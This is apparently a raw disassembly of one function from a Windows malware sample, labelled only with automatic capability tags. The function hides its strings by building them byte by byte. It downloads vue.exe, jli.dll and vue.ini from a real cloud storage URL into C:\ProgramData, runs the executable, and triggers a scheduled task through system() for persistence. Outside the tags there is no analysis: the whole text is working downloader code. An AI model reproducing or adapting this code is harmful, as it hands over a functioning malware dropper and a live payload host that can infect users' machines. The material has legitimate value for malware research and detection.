Function at 0x401560
Capabilities:
Create process on windows
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40dabb
mov eax, dword fs:[0]
push eax
sub esp, 0xe38
mov eax, dword [0x41205c]
xor eax, ebp
mov dword [ebp - 0x34], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.00401370
test eax, eax
jne 0x4021f3
call fcn.00401410
test eax, eax
jne 0x4021f3
mov eax, 0x6d
mov word [ebp - 0xe04], ax
mov ecx, 0x73
mov word [ebp - 0xe02], cx
mov edx, 0x76
mov word [ebp - 0xe00], dx
mov eax, 0x63
mov word [ebp - 0xdfe], ax
mov ecx, 0x72
mov word [ebp - 0xdfc], cx
mov edx, 0x74
mov word [ebp - 0xdfa], dx
mov eax, 0x2e
mov word [ebp - 0xdf8], ax
mov ecx, 0x64
mov word [ebp - 0xdf6], cx
mov edx, 0x6c
mov word [ebp - 0xdf4], dx
mov eax, 0x6c
mov word [ebp - 0xdf2], ax
xor ecx, ecx
mov word [ebp - 0xdf0], cx
lea edx, [ebp - 0xe04]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x401646
mov eax, 0x29a
jmp 0x4021f9
mov byte [ebp - 0x94c], 0x73
mov byte [ebp - 0x94b], 0x79
mov byte [ebp - 0x94a], 0x73
mov byte [ebp - 0x949], 0x74
mov byte [ebp - 0x948], 0x65
mov byte [ebp - 0x947], 0x6d
mov byte [ebp - 0x946], 0
lea eax, [ebp - 0x94c]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x9d8], eax
mov dword [ebp - 0xe24], 0xc
mov dword [ebp - 0xe20], 0xc
mov dword [ebp - 0xe1c], 0xf
mov dword [ebp - 0xe18], 0xb
mov dword [ebp - 0xe14], 1
mov dword [ebp - 0xe10], 0xa
mov dword [ebp - 0xe0c], 0xd
mov dword [ebp - 0xe08], 7
mov edx, dword [ebp - 0xe08]
push edx
lea eax, [ebp - 0xe24]
push eax
call fcn.004014d0
add esp, 8
mov ecx, 0x68
mov word [ebp - 0x4bc], cx
mov edx, 0x74
mov word [ebp - 0x4ba], dx
mov eax, 0x74
mov word [ebp - 0x4b8], ax
mov ecx, 0x70
mov word [ebp - 0x4b6], cx
mov edx, 0x73
mov word [ebp - 0x4b4], dx
mov eax, 0x3a
mov word [ebp - 0x4b2], ax
mov ecx, 0x2f
mov word [ebp - 0x4b0], cx
mov edx, 0x2f
mov word [ebp - 0x4ae], dx
mov eax, 0x73
mov word [ebp - 0x4ac], ax
mov ecx, 0x7a
mov word [ebp - 0x4aa], cx
mov edx, 0x31
mov word [ebp - 0x4a8], dx
mov eax, 0x2d
mov word [ebp - 0x4a6], ax
mov ecx, 0x31
mov word [ebp - 0x4a4], cx
mov edx, 0x33
mov word [ebp - 0x4a2], dx
mov eax, 0x32
mov word [ebp - 0x4a0], ax
mov ecx, 0x32
mov word [ebp - 0x49e], cx
mov edx, 0x31
mov word [ebp - 0x49c], dx
mov eax, 0x35
mov word [ebp - 0x49a], ax
mov ecx, 0x31
mov word [ebp - 0x498], cx
mov edx, 0x35
mov word [ebp - 0x496], dx
mov eax, 0x30
mov word [ebp - 0x494], ax
mov ecx, 0x34
mov word [ebp - 0x492], cx
mov edx, 0x2e
mov word [ebp - 0x490], dx
mov eax, 0x63
mov word [ebp - 0x48e], ax
mov ecx, 0x6f
mov word [ebp - 0x48c], cx
mov edx, 0x73
mov word [ebp - 0x48a], dx
mov eax, 0x2e
mov word [ebp - 0x488], ax
mov ecx, 0x61
mov word [ebp - 0x486], cx
mov edx, 0x70
mov word [ebp - 0x484], dx
mov eax, 0x2d
mov word [ebp - 0x482], ax
mov ecx, 0x73
mov word [ebp - 0x480], cx
mov edx, 0x68
mov word [ebp - 0x47e], dx
mov eax, 0x61
mov word [ebp - 0x47c], ax
mov ecx, 0x6e
mov word [ebp - 0x47a], cx
mov edx, 0x67
mov word [ebp - 0x478], dx
mov eax, 0x68
mov word [ebp - 0x476], ax
mov ecx, 0x61
mov word [ebp - 0x474], cx
mov edx, 0x69
mov word [ebp - 0x472], dx
mov eax, 0x2e
mov word [ebp - 0x470], ax
mov ecx, 0x6d
mov word [ebp - 0x46e], cx
mov edx, 0x79
mov word [ebp - 0x46c], dx
mov eax, 0x71
mov word [ebp - 0x46a], ax
mov ecx, 0x63
mov word [ebp - 0x468], cx
mov edx, 0x6c
mov word [ebp - 0x466], dx
mov eax, 0x6f
mov word [ebp - 0x464], ax
mov ecx, 0x75
mov word [ebp - 0x462], cx
mov edx, 0x64
mov word [ebp - 0x460], dx
mov eax, 0x2e
mov word [ebp - 0x45e], ax
mov ecx, 0x63
mov word [ebp - 0x45c], cx
mov edx, 0x6f
mov word [ebp - 0x45a], dx
mov eax, 0x6d
mov word [ebp - 0x458], ax
mov ecx, 0x2f
mov word [ebp - 0x456], cx
mov edx, 0x76
mov word [ebp - 0x454], dx
mov eax, 0x75
mov word [ebp - 0x452], ax
mov ecx, 0x65
mov word [ebp - 0x450], cx
mov edx, 0x2e
mov word [ebp - 0x44e], dx
mov eax, 0x65
mov word [ebp - 0x44c], ax
mov ecx, 0x78
mov word [ebp - 0x44a], cx
mov edx, 0x65
mov word [ebp - 0x448], dx
xor eax, eax
mov word [ebp - 0x446], ax
lea ecx, [ebp - 0x444]
push ecx
push 0
push 0
push 0x23
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str._vue.exe
lea edx, [ebp - 0x444]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, 0x68
mov word [ebp - 0x9d4], ax
mov ecx, 0x74
mov word [ebp - 0x9d2], cx
mov edx, 0x74
mov word [ebp - 0x9d0], dx
mov eax, 0x70
mov word [ebp - 0x9ce], ax
mov ecx, 0x73
mov word [ebp - 0x9cc], cx
mov edx, 0x3a
mov word [ebp - 0x9ca], dx
mov eax, 0x2f
mov word [ebp - 0x9c8], ax
mov ecx, 0x2f
mov word [ebp - 0x9c6], cx
mov edx, 0x73
mov word [ebp - 0x9c4], dx
mov eax, 0x7a
mov word [ebp - 0x9c2], ax
mov ecx, 0x31
mov word [ebp - 0x9c0], cx
mov edx, 0x2d
mov word [ebp - 0x9be], dx
mov eax, 0x31
mov word [ebp - 0x9bc], ax
mov ecx, 0x33
mov word [ebp - 0x9ba], cx
mov edx, 0x32
mov word [ebp - 0x9b8], dx
mov eax, 0x32
mov word [ebp - 0x9b6], ax
mov ecx, 0x31
mov word [ebp - 0x9b4], cx
mov edx, 0x35
mov word [ebp - 0x9b2], dx
mov eax, 0x31
mov word [ebp - 0x9b0], ax
mov ecx, 0x35
mov word [ebp - 0x9ae], cx
mov edx, 0x30
mov word [ebp - 0x9ac], dx
mov eax, 0x34
mov word [ebp - 0x9aa], ax
mov ecx, 0x2e
mov word [ebp - 0x9a8], cx
mov edx, 0x63
mov word [ebp - 0x9a6], dx
mov eax, 0x6f
mov word [ebp - 0x9a4], ax
mov ecx, 0x73
mov word [ebp - 0x9a2], cx
mov edx, 0x2e
mov word [ebp - 0x9a0], dx
mov eax, 0x61
mov word [ebp - 0x99e], ax
mov ecx, 0x70
mov word [ebp - 0x99c], cx
mov edx, 0x2d
mov word [ebp - 0x99a], dx
mov eax, 0x73
mov word [ebp - 0x998], ax
mov ecx, 0x68
mov word [ebp - 0x996], cx
mov edx, 0x61
mov word [ebp - 0x994], dx
mov eax, 0x6e
mov word [ebp - 0x992], ax
mov ecx, 0x67
mov word [ebp - 0x990], cx
mov edx, 0x68
mov word [ebp - 0x98e], dx
mov eax, 0x61
mov word [ebp - 0x98c], ax
mov ecx, 0x69
mov word [ebp - 0x98a], cx
mov edx, 0x2e
mov word [ebp - 0x988], dx
mov eax, 0x6d
mov word [ebp - 0x986], ax
mov ecx, 0x79
mov word [ebp - 0x984], cx
mov edx, 0x71
mov word [ebp - 0x982], dx
mov eax, 0x63
mov word [ebp - 0x980], ax
mov ecx, 0x6c
mov word [ebp - 0x97e], cx
mov edx, 0x6f
mov word [ebp - 0x97c], dx
mov eax, 0x75
mov word [ebp - 0x97a], ax
mov ecx, 0x64
mov word [ebp - 0x978], cx
mov edx, 0x2e
mov word [ebp - 0x976], dx
mov eax, 0x63
mov word [ebp - 0x974], ax
mov ecx, 0x6f
mov word [ebp - 0x972], cx
mov edx, 0x6d
mov word [ebp - 0x970], dx
mov eax, 0x2f
mov word [ebp - 0x96e], ax
mov ecx, 0x6a
mov word [ebp - 0x96c], cx
mov edx, 0x6c
mov word [ebp - 0x96a], dx
mov eax, 0x69
mov word [ebp - 0x968], ax
mov ecx, 0x2e
mov word [ebp - 0x966], cx
mov edx, 0x64
mov word [ebp - 0x964], dx
mov eax, 0x6c
mov word [ebp - 0x962], ax
mov ecx, 0x6c
mov word [ebp - 0x960], cx
xor edx, edx
mov word [ebp - 0x95e], dx
lea eax, [ebp - 0xdec]
push eax
push 0
push 0
push 0x23
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.jli.dll
lea ecx, [ebp - 0xdec]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea edx, [ebp - 0x4bc]
push edx
lea eax, [ebp - 0x1c]
push eax
call fcn.004010a0
add esp, 8
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x1c]
call fcn.00402340
movzx ecx, al
test ecx, ecx
jne 0x401d44
lea edx, [ebp - 0x1c]
push edx
lea eax, [ebp - 0x444]
push eax
call fcn.004012c0
add esp, 8
movzx ecx, al
test ecx, ecx
je 0x401d35
lea edx, [ebp - 0x444]
push edx
push 0x4103a8
call fcn.00403b41
add esp, 8
jmp 0x401d42
push 0x410404
call fcn.00403b41
add esp, 4
jmp 0x401d51
push 0x410430
call fcn.00403b41
add esp, 4
lea eax, [ebp - 0x9d4]
push eax
lea ecx, [ebp - 0x30]
push ecx
call fcn.004010a0
add esp, 8
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x30]
call fcn.00402340
movzx edx, al
test edx, edx
jne 0x401db6
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0xdec]
push ecx
call fcn.004012c0
add esp, 8
movzx edx, al
test edx, edx
je 0x401da7
lea eax, [ebp - 0x444]
push eax
push 0x410458
call fcn.00403b41
add esp, 8
jmp 0x401db4
push 0x4104b4
call fcn.00403b41
add esp, 4
jmp 0x401dc3
push 0x4104e0
call fcn.00403b41
add esp, 4
push 0
push 0
push 0
push str.C:ProgramData_vue.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x68
mov word [ebp - 0x944], cx
mov edx, 0x74
mov word [ebp - 0x942], dx
mov eax, 0x74
mov word [ebp - 0x940], ax
mov ecx, 0x70
mov word [ebp - 0x93e], cx
mov edx, 0x73
mov word [ebp - 0x93c], dx
mov eax, 0x3a
mov word [ebp - 0x93a], ax
mov ecx, 0x2f
mov word [ebp - 0x938], cx
mov edx, 0x2f
mov word [ebp - 0x936], dx
mov eax, 0x73
mov word [ebp - 0x934], ax
mov ecx, 0x7a
mov word [ebp - 0x932], cx
mov edx, 0x31
mov word [ebp - 0x930], dx
mov eax, 0x2d
mov word [ebp - 0x92e], ax
mov ecx, 0x31
mov word [ebp - 0x92c], cx
mov edx, 0x33
mov word [ebp - 0x92a], dx
mov eax, 0x32
mov word [ebp - 0x928], ax
mov ecx, 0x32
mov word [ebp - 0x926], cx
mov edx, 0x31
mov word [ebp - 0x924], dx
mov eax, 0x35
mov word [ebp - 0x922], ax
mov ecx, 0x31
mov word [ebp - 0x920], cx
mov edx, 0x35
mov word [ebp - 0x91e], dx
mov eax, 0x30
mov word [ebp - 0x91c], ax
mov ecx, 0x34
mov word [ebp - 0x91a], cx
mov edx, 0x2e
mov word [ebp - 0x918], dx
mov eax, 0x63
mov word [ebp - 0x916], ax
mov ecx, 0x6f
mov word [ebp - 0x914], cx
mov edx, 0x73
mov word [ebp - 0x912], dx
mov eax, 0x2e
mov word [ebp - 0x910], ax
mov ecx, 0x61
mov word [ebp - 0x90e], cx
mov edx, 0x70
mov word [ebp - 0x90c], dx
mov eax, 0x2d
mov word [ebp - 0x90a], ax
mov ecx, 0x73
mov word [ebp - 0x908], cx
mov edx, 0x68
mov word [ebp - 0x906], dx
mov eax, 0x61
mov word [ebp - 0x904], ax
mov ecx, 0x6e
mov word [ebp - 0x902], cx
mov edx, 0x67
mov word [ebp - 0x900], dx
mov eax, 0x68
mov word [ebp - 0x8fe], ax
mov ecx, 0x61
mov word [ebp - 0x8fc], cx
mov edx, 0x69
mov word [ebp - 0x8fa], dx
mov eax, 0x2e
mov word [ebp - 0x8f8], ax
mov ecx, 0x6d
mov word [ebp - 0x8f6], cx
mov edx, 0x79
mov word [ebp - 0x8f4], dx
mov eax, 0x71
mov word [ebp - 0x8f2], ax
mov ecx, 0x63
mov word [ebp - 0x8f0], cx
mov edx, 0x6c
mov word [ebp - 0x8ee], dx
mov eax, 0x6f
mov word [ebp - 0x8ec], ax
mov ecx, 0x75
mov word [ebp - 0x8ea], cx
mov edx, 0x64
mov word [ebp - 0x8e8], dx
mov eax, 0x2e
mov word [ebp - 0x8e6], ax
mov ecx, 0x63
mov word [ebp - 0x8e4], cx
mov edx, 0x6f
mov word [ebp - 0x8e2], dx
mov eax, 0x6d
mov word [ebp - 0x8e0], ax
mov ecx, 0x2f
mov word [ebp - 0x8de], cx
mov edx, 0x76
mov word [ebp - 0x8dc], dx
mov eax, 0x75
mov word [ebp - 0x8da], ax
mov ecx, 0x65
mov word [ebp - 0x8d8], cx
mov edx, 0x2e
mov word [ebp - 0x8d6], dx
mov eax, 0x69
mov word [ebp - 0x8d4], ax
mov ecx, 0x6e
mov word [ebp - 0x8d2], cx
mov edx, 0x69
mov word [ebp - 0x8d0], dx
xor eax, eax
mov word [ebp - 0x8ce], ax
lea ecx, [ebp - 0x8cc]
push ecx
push 0
push 0
push 0x23
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str._vue.ini
lea edx, [ebp - 0x8cc]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x944]
push eax
lea ecx, [ebp - 0x95c]
push ecx
call fcn.004010a0
add esp, 8
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x95c]
call fcn.00402340
movzx edx, al
test edx, edx
jne 0x402148
lea eax, [ebp - 0x95c]
push eax
lea ecx, [ebp - 0x8cc]
push ecx
call fcn.004012c0
add esp, 8
movzx edx, al
test edx, edx
je 0x402139
lea eax, [ebp - 0x444]
push eax
push str.File_downloaded_and_saved_successfully_to__s_n
call fcn.00403b41
add esp, 8
jmp 0x402146
push str.Failed_to_save_file_n
call fcn.00403b41
add esp, 4
jmp 0x402155
push str.Download_failed_n
call fcn.00403b41
add esp, 4
push str.Schtasks__Run__TN__Vue_Config_Logon_Trigger_Task_
call dword [ebp - 0x9d8]
add esp, 4
mov dword [ebp - 0xe44], 0xc
mov dword [ebp - 0xe40], 0xc
mov dword [ebp - 0xe3c], 0xf
mov dword [ebp - 0xe38], 0xb
mov dword [ebp - 0xe34], 1
mov dword [ebp - 0xe30], 0xa
mov dword [ebp - 0xe2c], 0xd
mov dword [ebp - 0xe28], 7
mov ecx, dword [ebp - 0xe28]
push ecx
lea edx, [ebp - 0xe44]
push edx
call fcn.004014d0
add esp, 8
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x95c]
call fcn.004022d0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x30]
call fcn.004022d0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.004022d0
jmp 0x4021f7
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x34]
xor ecx, ebp
call fcn.0040358f
mov esp, ebp
pop ebp
ret